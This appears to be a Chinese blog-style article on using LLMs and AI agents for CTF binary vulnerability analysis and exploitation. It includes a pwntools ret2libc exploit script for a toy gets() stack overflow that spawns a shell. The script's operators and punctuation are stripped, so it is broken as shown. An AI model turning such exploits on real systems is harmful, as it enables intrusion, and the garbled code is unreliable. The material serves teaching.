公司动态
AI赋能二进制安全:LLM与Agent在漏洞挖掘与利用中的实践
1. 项目概述当AI遇见二进制安全最近几年AI的风吹遍了几乎所有技术角落从写代码到画图从做PPT到写方案似乎没有它不能插手的领域。作为一个在CTFCapture The Flag夺旗赛和二进制安全领域摸爬滚打了十来年的老手我最初对这股“AI热潮”是抱着一种审慎甚至略带怀疑的态度。毕竟二进制安全尤其是漏洞挖掘和利用一直被认为是安全领域里最需要“直觉”、“经验”和“创造力”的硬核技术是逆向工程、汇编指令、内存布局和程序状态的艺术。一个模型真的能理解这些吗然而当我把一些经典的栈溢出、格式化字符串漏洞的题目丢给AI看着它一步步分析出漏洞点甚至生成初步的利用脚本时我的想法开始转变。这不再是简单的“玩具”或“辅助工具”而是一场正在发生的、静默但深刻的智能革命。它不是在替代安全研究员而是在重塑我们的工作流将我们从大量重复、繁琐的“体力劳动”中解放出来让我们能更专注于策略、逻辑和那些真正需要人类智慧的“奇思妙想”。这个项目或者说这个趋势核心就是探讨如何利用AI技术特别是大语言模型LLM和代码智能体AI Agent来辅助甚至革新CTF二进制安全挑战中的漏洞挖掘与利用过程。它解决的痛点非常明确降低入门门槛提升分析效率辅助复杂决策。对于新手AI可以像一个不知疲倦的导师解释每一个汇编指令的含义分析每一个函数的作用对于老手AI可以成为一个高效的“第二大脑”快速梳理复杂程序的控制流和数据流甚至提出可能的漏洞利用路径假设。2. 核心思路AI如何“理解”二进制世界要让AI在二进制安全领域发挥作用我们首先要解决一个根本问题AI模型尤其是基于文本训练的LLM如何“理解”非文本的、低级的二进制程序这里的“理解”并非指拥有意识而是指能够处理、分析并推理出与二进制程序相关的结构化信息。目前主流的思路可以归结为以下几个层次它们共同构成了AI辅助二进制分析的“认知框架”。2.1 从“自然语言”到“中间表示”二进制程序如ELF、PE文件本身是机器码对人类不友好。AI模型直接“阅读”十六进制或原始字节流是低效且困难的。因此第一步是将二进制程序转换为一种AI和人类都能更好处理的“中间表示”。最常用、最强大的中间表示就是反汇编代码和反编译代码。反汇编Disassembly使用如objdump、IDA Pro、Ghidra、radare2等工具将机器码转换为汇编指令如x86_64, ARM。这是最接近原始程序逻辑的文本形式。AI可以像阅读一种特殊的“外语”一样阅读汇编识别函数、跳转、调用和内存操作。反编译Decompilation使用如Ghidra、IDA ProHex-Rays、Binary Ninja等工具尝试将汇编代码重构为更高级的、类似C语言的伪代码。这极大地提升了代码的可读性。对于AI来说分析结构化的C伪代码比分析线性的汇编指令序列要容易得多因为它更接近模型训练时所接触的编程语言范式。注意反编译并非完美还原会丢失部分细节如精确的寄存器分配、某些优化后的指令序列并且可能引入错误。因此高水平的分析往往需要结合反汇编和反编译的结果进行交叉验证。AI辅助分析时也需要意识到这一点不能完全迷信反编译输出。2.2 构建程序分析的“上下文”仅仅有代码文本是不够的。一个函数内的malloc调用是否可能导致溢出取决于传入的参数大小是否可控一个strcpy操作是否危险取决于目标缓冲区的大小和源数据的来源。因此AI需要程序的上下文信息来做出准确判断。我们需要为AI提供函数调用图Call Graph展示函数之间的调用关系帮助AI理解程序模块结构和可能的执行路径。控制流图Control Flow Graph, CFG展示单个函数内部的基本块Basic Block和跳转关系这是分析程序逻辑和寻找路径约束的关键。数据流分析Data Flow Analysis跟踪变量和数据的来源、传播和去向。例如跟踪用户输入从哪个函数读入经过了哪些处理最终传递到了哪个可能存在漏洞的函数如strcpy,printf。这是漏洞挖掘的核心。符号执行与污点传播的简化输入虽然让AI进行完整的符号执行不现实但我们可以将工具如angr分析出的关键结果——例如“用户输入可以影响指令指针EIP/RIP”或“偏移量X处的数据来源于外部输入”——作为提示词的一部分喂给AI让它基于此进行推理。2.3 AI的“角色”与任务分工在具体工作中AI可以扮演多种角色与安全研究员协同智能代码解释器当你面对一段晦涩的汇编或反编译代码时直接询问AI“请解释这个函数的功能”、“这段循环在做什么”、“这个变量可能存储什么数据”。AI可以快速给出通俗的解释加速理解过程。模式识别与漏洞模式匹配AI经过海量代码包括有漏洞的和无漏洞的训练后对某些漏洞模式有潜在的“感觉”。我们可以提示它“请检查这个反编译代码中是否存在缓冲区溢出、格式化字符串、释放后使用UAF或整数溢出的风险点。” AI可能会高亮可疑的代码行并给出理由。利用链构思助手在确认漏洞后构建利用链如ROP链需要丰富的知识和创造力。我们可以向AI描述漏洞场景如“有一个栈溢出可以覆盖返回地址但开启了NX没有现成的system函数”然后询问“在只提供libc地址的情况下如何构造ROP链调用system(‘/bin/sh’)” AI可以基于常见的利用技术如ret2libc给出步骤和可能的gadget搜索思路。脚本编写与调试伙伴根据分析结果让AI生成初步的漏洞利用脚本Exploit框架例如用Python的pwntools库编写交互脚本。研究员随后可以在此基础上进行修改、调试和优化。AI还可以帮助解释调试过程中遇到的错误信息。3. 实战演练AI辅助分析一个简单栈溢出光说不练假把式。我们用一个极度简化的例子类似CTF入门题来演示AI如何介入分析流程。假设我们有一个名为vuln的32位ELF程序它的核心反编译代码Ghidra生成如下void vuln_function(void) { char local_buffer[64]; gets(local_buffer); puts(local_buffer); return; } int main(void) { vuln_function(); return 0; }一个有经验的安全研究员一眼就能看出问题gets函数是不安全的它向local_buffer写入数据时不会检查长度。但对于新手或者当代码嵌入在数千行复杂逻辑中时这个风险点可能被忽略。3.1 第一步让AI进行初步代码审计我们可以将这段代码直接提交给一个能力较强的AI模型例如DeepSeek、ChatGPT等并给出提示词提示词 “我是一名二进制安全研究员正在分析一个CTF挑战程序。以下是Ghidra反编译出的一个关键函数。请以安全审计的视角分析这段代码指出其中可能存在的安全漏洞并解释原因。”AI的典型回答 “这段代码存在一个典型的栈缓冲区溢出漏洞。漏洞函数gets(local_buffer)。原因分析gets函数从标准输入读取一行字符串直到遇到换行符或EOF为止。它不会检查目标缓冲区local_buffer的剩余空间。local_buffer在栈上被定义为64字节的字符数组。如果用户输入超过63个字符加上结尾的空字符多出的数据就会覆盖栈上local_buffer之后的内存区域。被覆盖的内容在32位系统中栈帧中local_buffer之后通常保存着保存的帧指针EBP和返回地址EIP。覆盖返回地址可以劫持程序的控制流指向攻击者指定的任意代码。风险评级高危。此漏洞可导致任意代码执行。修复建议使用安全的替代函数如fgets(local_buffer, sizeof(local_buffer), stdin)。”这个回答准确、清晰甚至给出了修复建议完美扮演了“导师”的角色。3.2 第二步利用AI辅助构造利用脚本确认漏洞后我们需要编写利用脚本。我们可以进一步询问AI。提示词 “感谢分析。现在我需要为这个漏洞编写一个利用脚本Exploit目标是在Linux x86系统上获得一个shell。已知情况程序是32位没有开启栈保护Canary没有地址空间布局随机化ASLR假设没有。请用Python的pwntools库编写一个完整的利用脚本框架包括计算偏移、构造payload和交互过程。请添加详细注释。”AI生成的脚本框架可能如下#!/usr/bin/env python3 from pwn import * # 设置上下文指定架构和操作系统 context(archi386, oslinux) # 启动目标进程 p process(./vuln) # 或者 remote(靶机地址, 端口) # 第一步确定偏移量offset # 缓冲区 local_buffer 大小为 64 字节。 # 在32位栈帧中local_buffer 之后是保存的ebp4字节然后是返回地址4字节。 # 所以覆盖返回地址所需的填充长度为64 4 68 字节。 offset 64 4 # 或者通过模式字符串工具精确计算 # 第二步获取关键函数地址假设需要 # 如果没有ASLR我们可以从二进制文件中直接读取地址。 # 例如使用 objdump -d vuln | grep system # 这里我们假设已经找到了 system 函数的地址和 “/bin/sh” 字符串的地址 # 这通常需要通过 ret2libc 技术动态获取以下为示例硬编码地址 system_addr 0xf7e13660 # 示例地址实际需要替换 binsh_addr 0xf7f5f0c8 # 示例地址实际需要替换 # 第三步构造payload # payload 填充字符 system函数地址 返回地址随意 参数地址 # 在调用 system(“/bin/sh”) 时按照cdecl调用约定参数从右向左压栈调用后需要平衡栈。 # 一种常见构造是 padding system_addr 任意四字节作为system的返回地址 binsh_addr payload bA * offset payload p32(system_addr) # 覆盖原返回地址使程序跳转到system payload p32(0xdeadbeef) # system函数执行后的返回地址此处不重要 payload p32(binsh_addr) # system函数的第一个参数指向“/bin/sh”字符串 # 第四步发送payload p.sendline(payload) # 第五步切换到交互模式获得shell p.interactive()这个脚本框架非常标准注释详细解释了每一步的目的和计算过程如offset 64 4。对于新手来说这是一个极佳的起点。他们需要做的是确认实际偏移量可能因编译器对齐而略有不同可以使用cyclic和gdb精确计算。在真实环境中获取system和/bin/sh的地址通过泄露libc基址等方式。根据目标环境有无NX有无ASLR调整利用策略。3.3 第三步AI在动态调试中的辅助在实际操作中我们常常用gdb调试。遇到问题时也可以求助AI。场景运行上面的脚本后程序崩溃但没弹出shell。用gdb附加查看发现崩溃在system函数内部。可以向AI提问 “我在利用一个栈溢出漏洞控制EIP跳转到了system函数地址0xf7e13660但程序在system函数内部崩溃了。gdb显示错误信息‘Cannot access memory at address 0x0’。我的payload构造是[68字节填充] [system_addr] [0xdeadbeef] [binsh_addr]。请问可能是什么原因”AI可能给出的诊断 “根据错误信息问题可能出在参数传递上。在x86的cdecl调用约定中system函数期望其参数即命令字符串的地址位于返回地址之后的栈上。你的payload结构分析你的栈布局现在是[旧ebp](被覆盖)[原返回地址](被覆盖为system_addr)[system函数的返回地址](你设置的0xdeadbeef)[system函数的第一个参数](你设置的binsh_addr)问题当system函数开始执行时它会将0xdeadbeef当作自己的返回地址而将binsh_addr当作它的第一个参数。这看起来是正确的。但是0xdeadbeef可能是一个不可读/不可写的地址导致system函数在后续操作比如保存上下文时访问该地址出错。更常见和简单的做法是用system函数的地址覆盖返回地址后紧接着就是它的参数。建议修改尝试将payload改为padding system_addr 任意有效的四字节地址或直接是binsh_addr binsh_addr。但更标准的ret2libc构造是padding system_addr 任意四字节占位 binsh_addr。你遇到的崩溃可能源于0xdeadbeef不可访问。可以尝试将0xdeadbeef换成一个已知可读的地址如.text段内的一个地址或者直接复用binsh_addr。另外请再次确认binsh_addr确实指向一个有效的、以空字符结尾的/bin/sh字符串。”这个回答展示了AI如何结合调用约定和调试信息进行推理提供了具体的排查思路和修改建议。4. 工具链整合将AI嵌入工作流单次的问答效率有限。真正的生产力提升来自于将AI能力无缝集成到现有的二进制分析工具链中。目前主要有两种方式4.1 IDE/编辑器插件这是最轻量、最直接的集成方式。例如在VS Code或JetBrains系列IDE中安装AI编程助手插件如Cursor、GitHub Copilot、通义灵码等。当你用这些编辑器查看反编译的C代码或Python利用脚本时可以直接代码解释选中一段反编译代码让AI解释其功能。漏洞注释让AI为可疑代码段添加安全审计注释。脚本补全在编写pwntools脚本时AI可以根据上下文自动补全函数调用、参数甚至生成一整段交互逻辑。查询文档直接询问“pwntools的recvuntil方法怎么用”比翻文档更快。4.2 专用安全分析AI Agent这是更前沿、更专业的方向。设想一个专为二进制安全设计的AI智能体它能够自动接取任务给定一个二进制文件自动启动分析流程。调用工具链自主或按规划调用file、checksec、strings、objdump、Ghidra无头模式、angr等工具收集信息。综合分析基于工具输出反编译代码、CFG、符号执行结果进行推理生成初步的分析报告标记潜在漏洞点。交互式探索研究员可以像与专家对话一样要求Agent深入分析某个函数、验证某个假设、尝试某种利用路径。脚本生成在研究员确认漏洞后自动生成针对不同缓解措施NX ASLR Canary的利用脚本模板。虽然这样的全能Agent尚未普及但我们已经可以利用脚本将LLM API如OpenAI API、DeepSeek API与pwntools、Ghidra Script结合起来搭建半自动化的分析管道。例如写一个Python脚本先用Ghidra反编译提取出所有使用危险函数strcpy,gets,sprintf等的代码片段然后批量发送给LLM进行风险评估和简要分析。5. 局限性与挑战AI不是银弹在拥抱AI的同时我们必须清醒地认识到它的局限性。当前的AI尤其是LLM在二进制安全领域更像一个“知识渊博但缺乏深层理解”的助手存在以下挑战幻觉与自信谬误AI可能会“一本正经地胡说八道”生成看似合理但完全错误的代码分析或利用步骤。它无法像人类一样真正“理解”程序的状态和语义。永远需要人工验证。上下文长度限制复杂的二进制程序反编译后可能有数万行代码。即使是最先进的模型其上下文窗口也难以容纳全部信息。需要精心设计“分而治之”的策略例如按模块或函数进行分析并人工维护关键信息的摘要。缺乏真正的“推理”能力AI在模式匹配和关联预测上很强但在需要多步、深层次逻辑推理和规划的任务上例如在存在复杂约束条件下构造一个能绕过所有保护的ROP链能力仍然有限。它可能提供组件和思路但最终的巧妙构造仍需人类完成。对工具输出的依赖AI的分析质量严重依赖于前端工具反编译器、分析器的输出质量。如果反编译出错AI很可能沿着错误的方向分析下去。动态分析能力弱目前的AI主要擅长处理静态文本代码。对于程序在运行时的动态行为、内存状态的实时变化、以及基于动态调试的交互式漏洞利用AI的辅助能力还比较初级。6. 未来展望与学习建议AI在CTF和二进制安全中的应用才刚刚开始。未来的方向可能包括多模态模型能够直接处理二进制文件、控制流图、内存dump图像等多模态输入进行更综合的分析。强化学习训练让AI在模拟的漏洞挖掘和利用环境中进行训练学习更接近人类专家的探索和决策策略。专用模型微调在大量二进制代码、漏洞报告和利用代码上微调出安全领域的垂直模型提升其专业准确度。对于想进入这个领域或者提升自己效率的安全爱好者我的建议是打好基础AI是放大器不是替代品。扎实的汇编语言、操作系统、计算机体系结构和漏洞原理知识永远是根本。不要试图用AI绕过学习基础的过程。学会提问如何向AI提问设计提示词是一门艺术。问题要具体、提供上下文、明确需求。从“解释这段代码”到“基于这段反编译代码和已知的缓冲区大小构造一个能覆盖返回地址的输入”后者能得到更有用的回答。建立批判性思维对AI的输出始终保持怀疑和验证的态度。将其视为一个强大的“参考书”和“灵感来源”而非“标准答案”。任何由AI生成的利用脚本都必须在你自己的环境里严格测试。动手整合工具尝试写一些脚本将你常用的命令行工具objdump,rabin2,gdb与LLM API连接起来打造你自己的AI辅助分析小流水线。这个过程本身就能加深你对整个分析流程的理解。这场由AI驱动的智能革命正在将二进制安全从一门高度依赖个人经验和“玄学”直觉的手艺逐渐转变为一项人机协同、效率倍增的现代工程学科。它没有让老手失业而是让我们跑得更快它没有让新手不劳而获而是为他们点亮了一盏更亮的指路灯。最终胜利的旗帜Flag仍然属于那些既懂技术原理又善用先进工具的大脑。